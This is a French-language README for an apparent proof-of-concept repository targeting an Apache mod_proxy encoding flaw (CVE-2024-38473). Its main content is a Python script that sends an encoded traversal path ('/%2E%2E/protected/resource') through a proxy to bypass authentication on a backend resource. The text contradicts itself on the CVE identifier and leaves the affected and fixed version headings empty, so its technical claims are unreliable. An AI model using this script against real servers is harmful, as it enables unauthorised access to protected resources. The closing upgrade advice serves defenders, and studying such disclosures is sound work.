
Scripts de preuve de concept démontrant une vulnérabilité d'encodage dans le module mod_proxy du serveur Apache HTTP (CVE-2024-38473) qui permet un contournement de l'authentification via des URL de requête conçues pour les services backend.
Ce dépôt contient des scripts de Preuve de Concept (PoC) pour démontrer un problème d'encodage dans le module mod_proxy du Serveur HTTP Apache versions 2.4.59 et antérieures. Cette vulnérabilité permet d'envoyer des requêtes avec un encodage incorrect vers les services backend, contournant potentiellement l'authentification via des requêtes conçues.
CVE-ID: (En attente)
Aperçu :
Un problème d'encodage dans le module mod_proxy du Serveur HTTP Apache versions 2.4.59 et antérieures permet d'envoyer des URL de requêtes avec un encodage incorrect vers les services backend. Cela peut potentiellement contourner les mécanismes d'authentification via des requêtes conçues. Il est recommandé de passer à la version 2.4.60, qui corrige ce problème.
Versions Affectées :
Version Corrigée :
requests (pip install requests)Identifier le Service Backend :
http://backend-service.example.com.Concevoir une Requête Malveillante :
Exécuter le Script PoC :
mod_proxy_poc.py et exécutez-le.Voici un script Python qui démontre la vulnérabilité :
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Changez ceci par l'URL du serveur proxy
backend_service_path = "/protected/resource" # Le chemin vers la ressource protégée sur le service backend
malicious_path = "/%2E%2E/protected/resource" # Chemin mal encodé pour contourner l'authentification
# Requête malveillante à envoyer via le serveur proxy
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Envoyer la requête conçue au serveur proxy
response = requests.get(malicious_url)
# Afficher les détails de la réponse
print("Code de statut :", response.status_code)
print("En-têtes de réponse :", response.headers)
print("Corps de réponse :", response.text)
if response.status_code == 200:
print("[+] Authentification contournée avec succès et ressource protégée accédée.")
else:
print("[-] Échec du contournement de l'authentification.")
except Exception as e:
print("[-] Une erreur est survenue :", str(e))
if __name__ == "__main__":
send_malicious_request()
Configuration :
proxy_url : L'URL du serveur proxy.backend_service_path : Le chemin vers la ressource protégée sur le service backend.malicious_path : Le chemin mal encodé pour contourner l'authentification.send_malicious_request :
Pour atténuer cette vulnérabilité, mettez à niveau le Serveur HTTP Apache vers la version 2.4.60, qui corrige le problème d'encodage dans le module mod_proxy.
En maintenant vos logiciels à jour et en suivant les bonnes pratiques de sécurité, vous pouvez prévenir des vulnérabilités telles que ce problème d'encodage dans le module mod_proxy.